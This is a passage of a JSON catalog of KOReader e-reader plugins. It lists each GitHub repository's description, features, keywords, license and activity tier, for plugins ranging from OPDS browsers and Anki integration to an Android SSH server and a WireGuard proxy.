developer.","categories":["web","library"],"features":["Search CWA Book Downloader instance for books","Filter search results by language and file extension","Browse the queue and cancel any download","KOReader installed on your device","A CWABD instance","Via the KOReader User Interface (UI)","Ensure you are in the KOReader file browser","Access the \"Search\" menu","Select \"CWA Book Downloader\" (it's probably on the second page of this menu)","Select \"Settings\""],"keywords":["home","calibre","web","automated","book","downloader","demo","prerequisites","configuration","setup","gesture","optional","localization","keywords","file","search","credentials","cwabd","access","menu","select","download","instance","browser"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2025-09-01T21:03:45Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4176,"detail":"detail/jorrhe__cwabd.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"joshualim/audiobookshelf.koplugin","owner":"joshualim","repo":"audiobookshelf.koplugin","url":"https://github.com/joshualim/audiobookshelf.koplugin","description":"","purpose":"This is a a KOReader plugin to allow you to browse and download books from an Audiobookshelf Server The Audiobookshelf Browser can be found in the tools menu.","categories":["library"],"features":["Add your Audiobookshelf user's API key as token in the config file. This can be found on your audiobookshelf server at Settings >…","Add the server to the config file, specifically the url of your server (no trailing slash)"],"keywords":["audiobookshelf","click","config","file","server","book","list","available","books","details","download","downloadable","ebook","files","found","api","key","token","settings","specifically","url","trailing","slash"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-05-01T08:28:36Z","license":"MIT","default_branch":"master","has_meta":true,"readme_bytes":1671,"detail":"detail/joshualim__audiobookshelf.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"kkris0/focus_mode.koplugin","owner":"kkris0","repo":"focus_mode.koplugin","url":"https://github.com/kkris0/focus_mode.koplugin","description":"A plugin that prevents procrastination and obsessive reading.","purpose":"A KoReader plugin to cure your procrascination and overreading when you should be doing something else during the day.","categories":["misc"],"features":["Set From and To hours of the day when you want the focus mode to be active","Set a PIN protection"],"keywords":["prevents","procrastination","obsessive","reading","comicreader","development","set","hours","day","want","focus","mode","active","pin","protection"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-01-05T11:02:45Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":457,"detail":"detail/kkris0__focus_mode.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"konomu/anki.koplugin","owner":"konomu","repo":"anki.koplugin","url":"https://github.com/konomu/anki.koplugin","description":"KOReader plugin enabling Anki card generations for words looked up in the internal dictionary.","purpose":"Added Yomichan-styled pitch accent graphs to KOReader Anki Plugin. There is also a Reading field populator (provided by nairyo). They should look exactly like the ones generated by Yomichan. Remember to add and under in your config.lua. Also, change the target field in EXT_pitch_accent.lua.","categories":["sync","dict","notes"],"features":["Stardict's .ifo file","the language of the document"],"keywords":["enabling","anki","card","generations","words","looked","internal","dictionary","changes","yomichan-styled","pitch","accent","graphs","separate","reading","field","offline","extra","options","sync","notes","custom","tags","context"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2024-09-05T04:50:29Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":8557,"detail":"detail/konomu__anki.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","documented"]},{"id":"korewaChino/opds_plusplus.koplugin","owner":"korewaChino","repo":"opds_plusplus.koplugin","url":"https://github.com/korewaChino/opds_plusplus.koplugin","description":"KOReader OPDS slop fork ","purpose":"Version: 1.2.0 OPDS++ is a feature-rich enhancement of KOReader's built-in OPDS catalog browser, providing visual book cover displays, multiple viewing modes, and improvements for sync management. It offers a more immersive and customizable experience for browsing OPDS catalogs on your e-reader.","categories":["sync","ui","library"],"features":["Visual Book Covers: Browse catalogs with book cover images displayed alongside titles","Dual View Modes: Switch between List View and Grid View layouts","Multiple Display Options: Customize how books are presented","Book covers displayed alongside title and author information","Adjustable cover sizes with presets (Compact, Regular, Large, Extra Large)","Custom size option (5-25% of screen height)","Clean, readable layout optimized for e-readers","Display books in a grid layout for visual browsing","Flexible column options (2-4 columns)","Layout presets: Compact (4 cols), Balanced (3 cols), Spacious (2 cols)"],"keywords":["opds","slop","fork","opds++","cappy","personal","enhanced","catalog","browsing","list","view","grid","customization","options","default","catalogs","included","improved","sync","management","method","manual","recommended","git"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-03-05T15:00:33Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":10340,"detail":"detail/korewaChino__opds_plusplus.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"ksaMask123/batterymonitor.koplugin","owner":"ksaMask123","repo":"batterymonitor.koplugin","url":"https://github.com/ksaMask123/batterymonitor.koplugin","description":"KOReader 插件「电量监测 / BatteryMonitor」：合并自 BatteryGraph（电量曲线）+ sleepwaketracker（休眠/唤醒追踪），面向 Kindle PaperWhite 3 等墨水屏。","purpose":"KOReader 插件，把\"电量曲线\"与\"休眠/唤醒追踪\"合二为一，给墨水屏用户一份长期、连续、可读的电耗与作息画像。 把 `batterymonitor.koplugin/` 整个目录打包成 zip（保持内部目录结构，不要让 `main.lua` 直接裸露在 zip 根），改名为 `batterymonitor.koplugin` 后放入上述任意插件目录，重启 KOReader。 （KOReader 原生支持目录与 zip 两种形式，本插件两种均兼容。）","categories":["misc"],"features":["连续电量采样：每 5 分钟读取一次设备电量与充电状态，按\"1% 变化\"或\"1 小时至少 1 点\"规则落盘，曲线不会因长时间满电而断开。","6 种时间窗视图（默认\"近 30 天\"）：","今天（00:00 起到当前时刻）","近 7 天 / 近 30 天 / 近 90 天 / 近 180 天 / 近 365 天","固定窗口渲染：x 轴严格按 [cutoff, now] 定位，今天视图从本地零点起算；切换窗口时整图重绘但无需重建容器（避免墨水屏闪烁）。","状态可查：点按图中任意数据点，立即弹出\"时间 / 电量 / 充电中·放电中\"详情；右侧顶栏菜单可跳转休眠/唤醒追踪。","数据自动滚动：只保留最近 365 天采样点（启动时轻量清理，不影响正在记录的会话）。","自动事件记录：每次设备休眠（SLEEP）与唤醒（WAKE）都会自动写入唯一日志文件 all_events.log；电量不可读时只记时间戳（占位值 -1，不污染统计）。","6 维当日统计：","总活跃时间（h:m:s）"],"keywords":["batterymonitor","batterygraph","sleepwaketracker","kindle","paperwhite","zip","kpw3","events","settings","android","cfont","export","kobo","pocketbook","wake","dofile","emoji","filemanager","github","https","ksamask","right9code","sdcard","sleep"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-11T05:25:00Z","license":"NOASSERTION","default_branch":"master","has_meta":true,"readme_bytes":11316,"detail":"detail/ksaMask123__batterymonitor.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"leshier/weui.koplugin","owner":"leshier","repo":"weui.koplugin","url":"https://github.com/leshier/weui.koplugin","description":"A We UI for KOReader with integrated WeRead bookshelf, search, download, and reading support.","purpose":"A We UI for KOReader with integrated WeRead (微信读书) and Z-Library book sources without changing the classic WeUI home and library layout.","categories":["ui","library","files","content"],"features":["Delete any old standalone koreader/plugins/zlibrary.koplugin/ directory,","Supported addresses: http://host:port (HTTP CONNECT for HTTPS) and","Optional HTTP Basic and SOCKS5 username/password authentication","Strict failure behavior: when enabled, an invalid or unavailable proxy","The setting is scoped to Z-Library by default. WeRead, KOReader updates,","Proxy passwords are stored as plain text in the local We UI settings file and","Manual: Menu → … → Check for Updates","Automatic: enable the auto-check option in the plugin settings. It runs","The We UI plugin code is licensed under the MIT License — see","The integrated WeRead integration code is licensed under the GNU Affero"],"keywords":["integrated","weread","bookshelf","search","download","reading","weui","recommended","embedded","z-library","z-library-only","proxy","source","updates","disclaimer","directory","downloads","settings","under","zlibrary","book","never","checks","credentials"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-15T02:56:38Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":7196,"detail":"detail/leshier__weui.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"LeviTK/weread.koplugin","owner":"LeviTK","repo":"weread.koplugin","url":"https://github.com/LeviTK/weread.koplugin","description":"微信读书 koreader 插件，在 koreader 里阅读微信读书里的书籍、公众号文章，并做到进度、阅读时长同步，阅读时间上报。","purpose":"在 KOReader 上阅读微信读书书籍和公众号文章、同步阅读时长的插件。 书籍 公众号 阅读时间上报 阅读统计 完整移植 APP 阅读统计能力, 支持按照周/月/年/总 维度查看 书籍管理 将插件目录复制到 KOReader 的 plugins 目录：","categories":["content"],"features":["浏览微信读书书架，搜索书籍","下载单章或整本书为 EPUB，直接在 KOReader 中阅读","章节目录按书籍缓存为独立 catalog.json，并支持在章节列表中手动刷新","章节内容解码、CSS 样式、图片资源打包","自动生成目录（TOC），自动嵌入封面","下载并嵌入划线和想法，阅读时可一键显示/隐藏，点击划线查看想法内容","浏览已关注的公众号列表","下载公众号文章为 HTML（图片内嵌 base64，KOReader 可自由调节字体大小）","文章列表本地缓存，无需重复请求","自动向微信读书上报阅读时长（默认每 30 秒一次）"],"keywords":["weread","todo","json","catalog","epub","skill","css","toc","html","base64"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-07-18T16:56:12Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":5847,"detail":"detail/LeviTK__weread.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"lheimbs/kosync-cloud.koplugin","owner":"lheimbs","repo":"kosync-cloud.koplugin","url":"https://github.com/lheimbs/kosync-cloud.koplugin","description":"Read progress synchronization for KOReader - using a configured cloud service","purpose":"Synchronize your read progress with the same cloud provider you use for your your books or your Reading Statistics (Dropbox/WebDAV/FTP/...).","categories":["sync","files","reading"],"features":["Enable Progress sync (cloud) from the plugins menu","Enable auto sync to sync on suspend/resume and (optionally) on periodic page turns","Use “Push progress from this device now” to upload current progress","Use “Pull progress from other devices now” to download the latest progress","Configure the sync behavior when a newer or older state is detected: Either prompt, accept the state silently or ignore the state","Configure how documents are matched: Either syncing only identical files or match files based on the file name"],"keywords":["read","progress","synchronization","configured","cloud","service","file-based","sync","services","data","storage","state","another","based","books","configure","database","document","either","enable","files","named","prompt","menu"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-06T09:45:41Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":1902,"detail":"detail/lheimbs__kosync-cloud.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"lheimbs/SSH-android.koplugin","owner":"lheimbs","repo":"SSH-android.koplugin","url":"https://github.com/lheimbs/SSH-android.koplugin","description":"A koreader SSH plugin for android","purpose":"SSH server for KOReader on Android, modelled after simplesshd. Provides SSH access, `scp` file transfer, and `rsync` sync without root, foreground service, or Android boot receivers.","categories":["ui","files"],"features":["Bootstrap auth: on first connect a single-use 8-character password is generated and shown in the KOReader menu. No…","Key-only auth: once you drop an authorized_keys file in the config directory, password auth is automatically disabled on the next…","scp and rsync: remote scp and rsync commands are intercepted and routed to bundled helper binaries","Start with KOReader: optional autostart setting","Android 4.4+ compatible: primary target is Tolino (ARMv7, Android 4.4); also works on modern arm64 Android","On each new SSH connection, dropbear checks whether authorized_keys exists in the config directory and is at least 10 bytes long","No keys file → password auth mode: 8 cryptographically random characters are generated via genrandom() using a 64-char alphabet…","Keys file present → public-key-only auth: the password code path is never reached"],"keywords":["ssh","android","ssh-android","works","auth","flow","mimics","simplesshd","exactly","scp","rsync","dispatch","10+","policy","file","layout","runtime","guide","first","login","authorized","keys","adding","public"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-19T20:08:51Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":13022,"detail":"detail/lheimbs__SSH-android.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"lheimbs/wireguard.koplugin","owner":"lheimbs","repo":"wireguard.koplugin","url":"https://github.com/lheimbs/wireguard.koplugin","description":"Experimental koreader wireguard plugin","purpose":"A KOReader plugin that routes all network traffic through a WireGuard VPN tunnel using wireproxy as a local HTTP CONNECT proxy.","categories":["web"],"features":["Enable/Disable toggle — Start or stop the VPN from the KOReader main menu","File pickers — Use KOReader's built-in path chooser to select your","Automatic config patching — The plugin writes a temporary copy of your","HTTP CONNECT proxy — Sets KOReader's NetworkMgr HTTP proxy to","Autostart — Optionally restart the tunnel when KOReader opens","Troubleshooting menu — View live status, test the proxy port, inspect","Detailed debug logging — All plugin events are written to a rotating log","Open KOReader → Menu → More tools → WireGuard VPN","Tap Select wireproxy binary… and navigate to the binary (Android 4.4–9","Tap Select WireGuard config file… and navigate to your .conf file"],"keywords":["experimental","wireguard","android","requirements","later","custom","build","required","sideloaded","binary","works","setup","obtain","wireproxy","prepare","config","configure","enable","execution","technical","background","policy","10+","architecture"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-19T20:09:25Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":10341,"detail":"detail/lheimbs__wireguard.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"LilleAila/anki.koplugin","owner":"LilleAila","repo":"anki.koplugin","url":"https://github.com/LilleAila/anki.koplugin","description":"Personal fork of anki.koplugin with my own configuration files and changes.","purpose":"KOReader plugin enabling Anki note generation for words looked up in the internal dictionary. NOTE: as mentioned in the Anki-Connect documentation, you will not be able to connect to Anki-Connect from your e-reader without updating the default settings.","categories":["sync","dict","files","notes"],"features":["Stardict's .ifo file","the language of the document"],"keywords":["personal","fork","anki","own","configuration","files","changes","offline","extra","options","sync","notes","custom","tags","context","undo","latest","note","change","profile","edit","within","faq","word"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2024-12-21T17:59:02Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":8330,"detail":"detail/LilleAila__anki.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","documented"]},{"id":"limploomp/dictwarmup.koplugin","owner":"limploomp","repo":"dictwarmup.koplugin","url":"https://github.com/limploomp/dictwarmup.koplugin","description":"Eliminates the freeze on the first StarDict lookup after opening a book. Dictionary Warmup pre-loads sdcv in the background at startup, caches the dictionary list to skip repeated scans, and shows real-time warm-up status from the main menu. ","purpose":"Eliminates the freeze on the first StarDict lookup after opening a book. Especially useful on older e-readers. Dictionary Warmup pre-loads the dictionary in the background at startup, caches the dictionary list to skip repeated scans, and shows real-time warm-up status from the main menu.","categories":["ui","dict"],"features":["Background warm-up — at startup the plugin fires a lightweight sdcv query (the) in a background process. This forces the OS to…","Dictionary cache — after the first full scan of available dictionaries, the plugin patches ReaderDictionary to return the cached…","Sentinel file — a temporary file (/tmp/dictwarmup_done) is used to signal when the background process has finished, without…","Automatic warm-up at KOReader startup (no interaction required)","In-memory dictionary list cache (skips redundant scans)","Real-time status popup from the main menu (running / warm ✓ / disabled)","Persistent data_dir setting","Advanced settings","Manual warm-up action (useful mainly for debugging or edge cases where the automatic warm-up failed) (also assignable to a…","Internal log (last 60 events), accessible from the Advanced submenu"],"keywords":["eliminates","freeze","first","stardict","lookup","after","opening","book","dictionary","warmup","pre-loads","sdcv","background","startup","caches","list","skip","repeated","scans","shows","real-time","warm-up","status","main"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-24T22:23:51Z","license":"AGPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":1753,"detail":"detail/limploomp__dictwarmup.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"LittleHaku/quotecard.koplugin","owner":"LittleHaku","repo":"quotecard.koplugin","url":"https://github.com/LittleHaku/quotecard.koplugin","description":"","purpose":"Quote card adds a Quote card action to KOReader's text-selection popup. It shows the selected text full-screen in a simple e-ink layout, followed by the current book title and author. Tap anywhere (or press Back) to close it.","categories":["misc"],"features":["Open Tools → App Store in KOReader","Open the gear menu and choose Install plugin from URL","Enter this GitHub repository's owner and the repository name quotecard.koplugin","Choose Install, then restart KOReader when prompted"],"keywords":["koreader-plugin","quote","card","app","store","zenui","development","publish","repository","open","selection","github","popup","quotecard","text","actions","highlight","test","anywhere","book","both","choose","dependency-free","emulator"],"topics":["koreader-plugin"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-15T12:34:25Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3027,"detail":"detail/LittleHaku__quotecard.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"LK4D4/statusbardisabler.koplugin","owner":"LK4D4","repo":"statusbardisabler.koplugin","url":"https://github.com/LK4D4/statusbardisabler.koplugin","description":"KOReader plugin that hides the bottom status bar for books whose paths match configured fragments and restores it elsewhere.","purpose":"`statusbardisabler.koplugin` is a KOReader plugin that toggles the bottom status bar based on the current book path.","categories":["ui"],"features":["configurable list of path fragments","disables the bottom status bar when a book path matches any fragment","restores the status bar on non-matching books only if this plugin disabled it","does not change footer presets or the alt status bar","fragment Manga matches /mnt/onboard/Books/Manga/Naruto 01.cbz","fragment Comics/Marvel matches /mnt/onboard/Books/Comics/Marvel/X-Men.cbz","fragment One Piece matches /mnt/onboard/Manga/One Piece/001.cbz","Enable the plugin in KOReader if needed","Open a book and go to Tools -> Status bar disabler","Choose Add path fragment"],"keywords":["koreader-plugin","hides","bottom","status","bar","books","whose","paths","match","configured","fragments","restores","elsewhere","statusbardisabler","works","managing","appstore","manual","tests","path","fragment","manga","book","matches"],"topics":["koreader-plugin"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-20T19:24:39Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2460,"detail":"detail/LK4D4__statusbardisabler.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"LK4D4/statusstats.koplugin","owner":"LK4D4","repo":"statusstats.koplugin","url":"https://github.com/LK4D4/statusstats.koplugin","description":"KOReader plugin that shows current-session and today's reading stats in the status bar.","purpose":"`statusstats.koplugin` is a KOReader plugin that shows reading statistics from KOReader's built-in `statistics` plugin in the status bar.","categories":["ui","reading","notes"],"features":["reading time for the current session","pages read in the current session","reading time for today","pages read today","Session","Show in status bar","Show in alt status bar","Show debug info","Footer display is disabled by default","The plugin reuses KOReader's current footer separator when possible"],"keywords":["koreader-plugin","shows","current-session","today","reading","stats","status","bar","statusstats","notes","tests","current","session","time","footer","show","statistics","built-in","display","pages","read","repository","smoke","test"],"topics":["koreader-plugin"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-20T07:15:23Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":1656,"detail":"detail/LK4D4__statusstats.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"lysak-yurii/lingueez.koplugin","owner":"lysak-yurii","repo":"lingueez.koplugin","url":"https://github.com/lysak-yurii/lingueez.koplugin","description":"Save words and chapters from your e-reader into your Lingueez vocabulary — auto-translated, language-detected, and synced to the desktop and web app.","purpose":"lingueez.app · github.com/lysak-yurii/lingueez Save words straight from your e-reader into your Lingueez vocabulary — translated, tagged, and synced to the desktop, web and Android apps the moment you look them up.","categories":["sync","dict","web"],"features":["Flashcards - Review on the reader — flip through flashcards and your saved words right where","Quick save while you read — long-press any word and save it without leaving the book","Instant translation — Google Translate built in, with optional DeepL","Knows the language — the source language is detected from the book, so there is","105 languages — the same list Lingueez offers across devices","One vocabulary, everywhere — words sync to the same account as the Lingueez","Texts, not just words — save the chapter you're reading to your","Android — /sdcard/koreader/plugins/","Linux — ~/.config/koreader/plugins/","Kobo / Kindle / other — see the KOReader documentation for the plugin path"],"keywords":["flashcards","koreader","koreader-plugin","sync","vocabulary","vocabulary-builder","vocabulary-flashcards","vocabulary-learning","lingueez","save","words","chapters","e-reader","auto-translated","language-detected","synced","desktop","web","app","sign","google","scan","phone","saving"],"topics":["flashcards","koreader","koreader-plugin","sync","vocabulary","vocabulary-builder","vocabulary-flashcards","vocabulary-learning","lingueez"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-12T12:27:56Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":5017,"detail":"detail/lysak-yurii__lingueez.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"m-tky/bookends.koplugin","owner":"m-tky","repo":"bookends.koplugin","url":"https://github.com/m-tky/bookends.koplugin","description":"KOReader plugin for configurable text overlays — tokens, icons, per-line styling, presets","purpose":"Customisable text overlays for KOReader — page numbers, reading stats, progress bars, clocks, and more, placed anywhere on the reading screen.","categories":["ui","library","reading"],"features":["Open a book → typeset/document menu (style icon) → Bookends → Bookends settings → tick Enable bookends","Tap a position (e.g., Bottom-center) → Add line","Type a format string or use the Tokens and Symbols buttons to insert placeholders","Tap Save — your overlay appears immediately","Type — Chapter, Book, Book+ (top-level ticks), Book++ (top 2 level ticks)","Style — Border, Solid, Round, Metro, Wave, Radial, Hollow","Anchor — Top, Bottom, Left (vertical), Right (vertical)","Fill direction — Left to right, Right to left, Top to bottom, Bottom to top","Style — Solid, Bordered, Rounded, Metro, Wave, Radial, Radial hollow","Chapter ticks — Off, Top level, Top 2 levels (book type only)"],"keywords":["configurable","text","overlays","tokens","icons","per-line","styling","presets","bookends","quick","start","recipes","preset","library","screen","positions","reference","metadata","page","progress","time","date","reading","device"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-07-31T11:30:35Z","license":"AGPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":28409,"detail":"detail/m-tky__bookends.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"markleenders/stoicquote.koplugin","owner":"markleenders","repo":"stoicquote.koplugin","url":"https://github.com/markleenders/stoicquote.koplugin","description":"A KOReader plugin to show a random stoic quote after unlock","purpose":"A KOReader plugin that displays a random stoic quote in a small pop-up when you unlock. It provides settings to control appearance and behavior of the plugin.","categories":["library"],"features":["Shows a random quote in a QuoteWidget with basic formatting (bold/\\[italic\\]/alignment)","Settings to specify appearance","Or search for the plugin in the plugins App Store","Make sure the plugin is enabled (Settings Menu -> More Tools -> Plugin Management -> Make sure Stoic Quote is ticked)","Open KOReader → More Tools → Stoic Quote Options","Select Stoic Quote Settings provide the location to all your books, and customize the appearance of the widget","Try Debug: Show A Stoic Quote to preview a random quote immediately","The plugin shows a stoic quote when resumed or activated, using the configured font and appearance settings","Title: choose between the default title, no title, or enter a custom title string","Font face: select a font face; the plugin attempts to resolve and use the requested face"],"keywords":["koreader-plugin","quote","stoic","show","random","after","unlock","quotes","settings","advanced","curating","library","troubleshooting","compatibility","inspired","appearance","font","make","title","face","more","sure","tools","behavior"],"topics":["koreader-plugin","quote","stoic"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-24T14:44:36Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2288,"detail":"detail/markleenders__stoicquote.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"maxcaplan/readinglist.koplugin","owner":"maxcaplan","repo":"readinglist.koplugin","url":"https://github.com/maxcaplan/readinglist.koplugin","description":"A plugin for KOReader to manage reading lists on your e-reader","purpose":"A plugin for KOReader to create and manage reading lists directly in your reader. Table of Contents Features Installation","categories":["files"],"features":["Easily accessible from the tools menu","Create any number of lists","Mark list items as \"read\" with checkbox button","Lists stored in easily editable XML file","KOReader v2025.10","On your computer, download the zip archive for the latest release of readinglist.koplugin from the repository releases pages","Connect to your device via USB","Depending on your device, the location of your KOReader installation folder will vary as follows","On Kobo: /.adds/koreader/","On Kindle: /koreader"],"keywords":["koplugin","koreader","koreader-plugin","manage","reading","lists","e-reader","readinglist","prerequisites","step","download","locate","folder","enable","uninstall","roadmap","device","ability","list","computer","items","open","archive","menu"],"topics":["koplugin","koreader","koreader-plugin"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-01-20T19:37:23Z","license":"AGPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":3443,"detail":"detail/maxcaplan__readinglist.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"mercedesov/chess.koplugin","owner":"mercedesov","repo":"chess.koplugin","url":"https://github.com/mercedesov/chess.koplugin","description":"Chess plugin for Koreader","purpose":"Kochess is a simple yet functional chess application designed for your device. It allows you to play against a UCI chess engine (like Stockfish), load and save games in PGN format, and review past moves.","categories":["ui","notes","games"],"features":["From the Main Menu of your device, navigate to the Tools section","Select \"Chess Game\" to start Kochess","Plugin installation: Copy the Kochess plugin directory into your KOReader installation. The plugin directory name is…","Generic: koreader/plugins/chess.koplugin","Kobo: /mnt/onboard/.adds/koreader/plugins/chess.koplugin","Kindle: /mnt/us/koreader/plugins/chess.koplugin","Icons: Chess piece icons are bundled with the plugin under chess.koplugin/icons/chess. On first start, Kochess automatically…","Games: Your saved game files (PGN) can be stored in any convenient location on your device","Engine (optional): To play against the computer, copy a UCI-compatible engine binary (for example Stockfish) into the plugin's…","koreader/plugins/chess.koplugin/bin/stockfish"],"keywords":["chess","kochess","manual","getting","started","launching","interface","overview","playing","game","making","move","human","player","pawn","promotion","engine","turn","state","controls","timers","pgn","log","toolbar"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2025-12-20T20:13:07Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":9187,"detail":"detail/mercedesov__chess.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Merpyzf/xray.koplugin","owner":"Merpyzf","repo":"xray.koplugin","url":"https://github.com/Merpyzf/xray.koplugin","description":"AI-powered character tracking, timeline, and historical context etc.","purpose":"利用 AI 在 KOReader 上还原 Amazon Kindle 的 X-Ray 功能。 原版仅告诉 AI \"分析《书名》的前 X%\"，导致 AI 凭空猜测（幻觉）、剧透、译名不一致等问题。 本 Fork 发送实际书籍文本给 AI，消耗更多 Token，但换来 100% 准确的 X-Ray 数据。","categories":["sync","ai","reading"],"features":["按阅读进度分析：AI 只分析已读内容，零剧透","分块缓存：保存为 5%.json、10%.json... 等文件","智能回退：从 40% 跳回 20%？自动加载 20% 的缓存","本地 AI ⭐ 推荐（如有 Antigravity-Manager 访问权限）","Google Gemini","ChatGPT","打开书籍 → 菜单 → X-Ray → AI 设置","选择 AI 服务商并输入 API 密钥","阅读书籍至任意位置（如 10%）","菜单 → X-Ray → 获取 AI 数据"],"keywords":["ai-powered","character","tracking","timeline","historical","context","etc","x-ray","webdav","api","python","json","config","fork","xray","antigravity-manager","google","gemini","chatgpt"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-01-08T04:38:19Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":3939,"detail":"detail/Merpyzf__xray.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"MJCopper/simplewiki.koplugin","owner":"MJCopper","repo":"simplewiki.koplugin","url":"https://github.com/MJCopper/simplewiki.koplugin","description":"KOReader Offline Simple Wiki English","purpose":"KOReader plugin for looking up Simple English Wikipedia articles offline. The plugin uses a prebuilt SQLite database and does not read Wikimedia `.bz2` dump files on the e-reader.","categories":["files","notes"],"features":["Adds a Simple Wiki (Offline) item to KOReader","Adds a Simple Wiki (Offline) button to dictionary lookups","Searches article titles from a local SQLite database","Returns up to 5 matching articles for disambiguation","Shows cleaned article text without reference sections","https://dumps.wikimedia.org/simplewiki/latest/","reads the compressed Wikimedia dump files,","cleans wiki markup into plain text,","removes reference and external-link sections,","flattens wiki tables into readable text rows,"],"keywords":["offline","simple","wiki","english","simplewiki","does","device","files","download","dumps","build","sqlite","database","copy","notes","wikimedia","article","dump","e-reader","file","https","latest","script","tables"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-04T10:45:28Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2941,"detail":"detail/MJCopper__simplewiki.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"monk-blade/multiline-toc-koreader","owner":"monk-blade","repo":"multiline-toc-koreader","url":"https://github.com/monk-blade/multiline-toc-koreader","description":"A plugin to enable multi-line TOC(table of content) in koreader.","purpose":"This plugin enhances the table of contents (TOC) display in KOReader by enabling multi-line and multi-column layouts, allowing full chapter titles to be visible instead of being truncated.","categories":["files"],"features":["Multi-line Display: Shows full chapter titles across multiple lines instead of truncating them","Customizable Line Limits: Set maximum number of lines per TOC item (1-10 lines)","Font Size Control: Override default font size for better readability","Compact Mode: Reduce padding between items for more content per screen","Column Layout: Experimental multi-column layout support","Easy Configuration: Access all settings through the main menu","The plugin will appear in the main menu under \"Multi-line TOC settings\"","Open a document in KOReader","Go to the main menu","Navigate to \"Multi-line TOC 